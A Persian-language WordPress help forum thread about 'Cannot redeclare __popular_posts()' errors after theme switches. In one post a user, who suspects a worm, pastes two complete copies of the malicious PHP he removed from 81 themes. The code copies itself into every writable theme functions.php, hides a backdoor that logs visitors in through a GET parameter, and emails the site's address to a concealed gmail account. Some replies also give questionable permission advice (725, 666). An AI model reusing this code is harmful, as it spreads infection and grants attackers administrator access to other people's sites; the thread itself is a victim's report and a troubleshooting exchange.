رفتن به مطلب

مشكل با function قالب


bre

پست های پیشنهاد شده

سلام

من وردپرس شبكه نصب كردم

تنها مشكلي كه الان دارم اضافه شدن كد با قالب بعد از تغيير قالب فعلي سايت اصلي يا وبلاگ

مثلا كاربر وبلاگ مياد قالب وبلاگ شو تغيير بده يك سري كد به فانكشن قالب جديد اضافه ميشه و سايت با خطا مواجه ميشه

كه البته قبلا دوستاني اين مطلب رو پرسيده بودن و جوابي كه گرفتن حذف كد هاي اضافه از قالب بوده . اما آخه مگه ميشه هر دفعه كاربر قالب رو فعال كرد مدير دوباره فانكشن رو نوسازي كنه

ميخوام ببينم راه و يا كدي وجود نداره كه ديگه اين كد به فانكشن قالب اضافه نشه و يا تنظيماتي باشه

اينم نمونه كد خطا كه هم براي يوزر اينتر فيس مياد هم بخش مديريت :

Fatal error: Cannot redeclare __popular_posts() (previously declared in \wordpress\wp-content\themes\Sname\functions.php:206) in \wordpress\wp-content\themes\Sname\functions.php on line 447

در مورد تغيير سطح دسترسي هم بايد بگم با تغيير سطح دسترسي مشكل حل ميشه اما عملا قالب هاييكه داراي بخش مديريت در پيشخان هستن بدون استفاده ميشن مثلا قالبي كه از پيشخوان مديريت ميشه و ميشه هدر جديد بهش داد بدون استفاده ميشه

من 6 ماه هست دنبال اين مشكل هستم و هنوز به جوابي نرسيدم و كم كم به بي ارزش بودن وردپرس شبكه رسيدم

لینک به ارسال

سلام دسترسی فایل های phpقالب را به 666 تغییر دهید تا کاربر اجازه اعمال ویرایش نداشته باشه

در مورد مشکل دوم در چنین قالب هایی فایل options.php را روی 725 تنظیم کنید

لینک به ارسال

این دو خط رو هم می تونید به wp-config.php اضافه کنید و دیگه به دسترسی ها دست نزنید


define( 'DISALLOW_FILE_EDIT', true );
define( 'DISALLOW_FILE_MODS', true );

با افزونه های مدیریت دسترسی کاربران هم می تونید همین کار رو انجام بدید

با فایل .htaccess هم همینطور

مثلا این افزونه زبان فارسی رو هم پشتیبانی می کنه

http://wordpress.org/extend/plugins/user-role-editor/

screenshot-1.png?r=589156

لینک به ارسال

سلام

ممنون ايمان جان

اما قالب كه فقط فايل functions.php داره

و اينكه اگه دسترسي رو روي 666 يا 444 بزارم ديگه كاربر نميتونه بخش مديريت قالب رو تغيير بده مثلا قالبي كه سلايدر داره يا قالبي كه بخش تبليغات داره و ...

فايل options.php هم نميدونم كجاست ؟

و در آخر براي دسترسي كاربران مشكلي ندارم

مشكل اصلي تغييرات در قالب ها و بخش مديريت قالب هست مثلا يك قالب كه بخش مديريت داره رو كاربر فعال ميكنه بعد اگر يك قالب ديگه رو كه بخش مديريت داره فعال كنه كد هايي به فايل functions.php اضافه ميشه و تا زماني كه اين كد ها پاك نشه سايت كاربر با خطا مواجه ميشه

همون خطايي كه بالا گفتم .

لینک به ارسال
  • 1 ماه بعد...

سلام

بعد از تغییر نام پوشه wp-content بر روی لوکال که اونم به خاطر خطایی بود و جناب مصطفی در انجمن قبلی وردپرس پیشنهاد داده بودند بعد از فعال کردن هر پوسته ای حتی پوسته هایی که داخل functions.php آنها تابع ()popular_posts وجود نداره ارور زیر را میده:


Fatal error: Cannot redeclare __popular_posts() (previously declared in C:\xampp\htdocs\wp-content\themes\delicate\delicate\functions.php on line 465

گاهاً با پوسته پیشفرض هم خطا وجود داره که با جایگزین کردن از پکیج وردپرس درست میشه ولی با فعال کردن پوسته ای دیگه همون ارور مشاهده میشه.

جستجو کردم راه حلی پیدا نکردم. ممنون میشم راهنمایی کنید.

ویرایش شده توسط سعید
لینک به ارسال

سلام

ممنون ايمان جان

اما قالب كه فقط فايل functions.php داره

و اينكه اگه دسترسي رو روي 666 يا 444 بزارم ديگه كاربر نميتونه بخش مديريت قالب رو تغيير بده مثلا قالبي كه سلايدر داره يا قالبي كه بخش تبليغات داره و ...

فايل options.php هم نميدونم كجاست ؟

و در آخر براي دسترسي كاربران مشكلي ندارم

مشكل اصلي تغييرات در قالب ها و بخش مديريت قالب هست مثلا يك قالب كه بخش مديريت داره رو كاربر فعال ميكنه بعد اگر يك قالب ديگه رو كه بخش مديريت داره فعال كنه كد هايي به فايل functions.php اضافه ميشه و تا زماني كه اين كد ها پاك نشه سايت كاربر با خطا مواجه ميشه

همون خطايي كه بالا گفتم .

فایل options.php و یا admin.php رو می تونید بسازید و اگر قالب نداره بهش اضافه کنید این فایل ها در واقع خواننده functions.php هستند برای حدودی که شما می خواهید اگر با کدنویسی مشکلی ندارید و این کار هم براتون اهمیت داره و اینجوری مشکلتون حل می شه بفرمایید تا کلیتش رو عرض کنم

سلام

بعد از تغییر نام پوشه wp-content بر روی لوکال که اونم به خاطر خطایی بود و جناب مصطفی در انجمن قبلی وردپرس پیشنهاد داده بودند بعد از فعال کردن هر پوسته ای حتی پوسته هایی که داخل functions.php آنها تابع ()popular_posts وجود نداره ارور زیر را میده:


Fatal error: Cannot redeclare __popular_posts() (previously declared in C:\xampp\htdocs\wp-content hemes\delicate\delicate\functions.php on line 465

گاهاً با پوسته پیشفرض هم خطا وجود داره که با جایگزین کردن از پکیج وردپرس درست میشه ولی با فعال کردن پوسته ای دیگه همون ارور مشاهده میشه.

جستجو کردم راه حلی پیدا نکردم. ممنون میشم راهنمایی کنید.

اگر افزونه ای برای نمایش پست های برتر دارید قبل از تعویض قالب باید غیر فعالش کنید و بعد از نصب دوباره فعالش کنید گاهی افزونه ها کدهایی رو به فانکشن می دند که بهش احتیاج دارند و برای اینکه هربار نخواند کدها را لود کنند اونها رو موقع نصب کپی می کنند به فایل که خوب مسلما در قالب جدید شما وجود ندارند

لینک به ارسال

اگر افزونه ای برای نمایش پست های برتر دارید قبل از تعویض قالب باید غیر فعالش کنید و بعد از نصب دوباره فعالش کنید گاهی افزونه ها کدهایی رو به فانکشن می دند که بهش احتیاج دارند و برای اینکه هربار نخواند کدها را لود کنند اونها رو موقع نصب کپی می کنند به فایل که خوب مسلما در قالب جدید شما وجود ندارند

خیر وردپرس تازه نصب شده و از ابتدا هم افزونه نمایش پست های برتر نصب نبوده.

کل افزونه های موجود را غیر فعال و امتحان کردم ارور وجود داره.

لینک به ارسال

با توجه به 2 لینک زیر داشتن worm در فایل functions.php پوسته ها تایید میشه؟ :huh:

http://themeshaper.c...ctionsphp-issue

http://premium.wpmud...c/i-have-a-worm

چون در فایل functions.php تمامی پوسته ها چک کردم تابع زیر و کد های دیگری بدون دستکاری من خودکار اضافه شده اند. :unsure:


function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}

و فقط در دو پوسته twentyten و twentyeleven که از پکیج وردپرس نصب کرده بودم وجود نداشت و دقیقاً اروری که میده مربوط به همین تابع ها است.

در ضمن 100% روی فایل style.css پوسته ها هم تاثیر گذاشته چون حجمشو با نسخه اصلی چک کردم بیشتر شده بود.

اگر تایید میکنید راه حلی وجود داره؟

ویرایش شده توسط سعید
لینک به ارسال

در فایل htaccess شما چیزی اضافه شده؟

این کدها رو حذف و دسترسی نوشتن رو از فایل فانکشن بردارید.

لینک به ارسال

در فایل htaccess شما چیزی اضافه شده؟

این کدها رو حذف و دسترسی نوشتن رو از فایل فانکشن بردارید.

روی لوکاله چطوری باید دسترسی نوشتن را بردارم؟

در فایل htaccess:


AuthType Basic
AuthName "FORBIDDEN AREA"
AuthUserfile "../htdocs/forbidden/.htpasswd"
Require valid-user

و در مورد style.css چی؟

آیا ممکنه Xampp جدید دارای این worm باشه؟

لینک به ارسال

اینها فکر نمیکنم ربطی داشته باشه.

برای سطح دسترسی روی فایل راست کلیک و read only بزارید.

لینک به ارسال

در انجمن قبلی کاربری به نام میلاد گفته :

"چیزه خاصی نیست ..

یک قالب مشکل دار روی لوکال هاست سیستم استفاده کردی که این کد ها از اون ها انتقال یافته به این قالبت ...

کد های اضافه را پاک کن مشکلت برطرف میشه .."

توابع تولید شده برای functions.php پوسته های منم دقیقاً یکی بودند و نمیدونم چرا این کد ها باید در دیگر پوسته ها تولید بشه و دلیلش چیه ؟؟!!

کد های مخرب که مجبور شدم از 81 پوسته حذف کنم:

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

<?php

function _verify_isactivate_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "پيدا نشد" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_verify_isactivate_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

برای سطح دسترسی روی فایل راست کلیک و read only بزارید.

در نهایت طبق توصیه شما functions.php پوسته ها را بر روی read only قرار دادم.

لینک به ارسال

یک نکته (تجربه مهم) هرگز بیش از دو پوسته در پوشه ی themes نگهداری نکنید مگر در مواردیکه برای دمو احتیاج دارید که در این حالت هم حتما دسترسی پوشه های اضافه را به 644 یا کمتر تبدیل کنید و فقط پوشه قالب جاری و پوشه قالب دیفالت وردپرس را 725 بگذارید

اللخصوص در مورد پوسته هایی که بعضی از سایت ها به رایگان می گذارند ولی در واقع رایگان نیستند

(البته مشکل شما به همون عرض قبلی برمی گرده ولی با توجه به حجم بالای قالب های خراب شده یادنم افتاد

لینک به ارسال

یک نکته (تجربه مهم) هرگز بیش از دو پوسته در پوشه ی themes نگهداری نکنید مگر در مواردیکه برای دمو احتیاج دارید که در این حالت هم حتما دسترسی پوشه های اضافه را به 644 یا کمتر تبدیل کنید و فقط پوشه قالب جاری و پوشه قالب دیفالت وردپرس را 725 بگذارید

درسته ولی من روی لوکال مشکل داشتم و تا از صحت درستی کارکردن پوسته ها مطمئن نباشم آپلود نمیکنم.

بر روی لوکال باید سطح دسترسی بدم؟ چطوری؟

لینک به ارسال
  • 1 سال بعد...

سلام دوستان

منم همچین مشکلی رو با فایل function دارم

پنل کاربری وردپرسم این error ها رو میده

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 564

چیکار میتونم بکنم ؟

لینک به ارسال

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line

564

نه هنوز اررور میده درست نشد

لینک به ارسال

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line

564

نه هنوز اررور میده درست نشد

wp_debug رو غیرفعال کنید در فایل کانفیگ

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...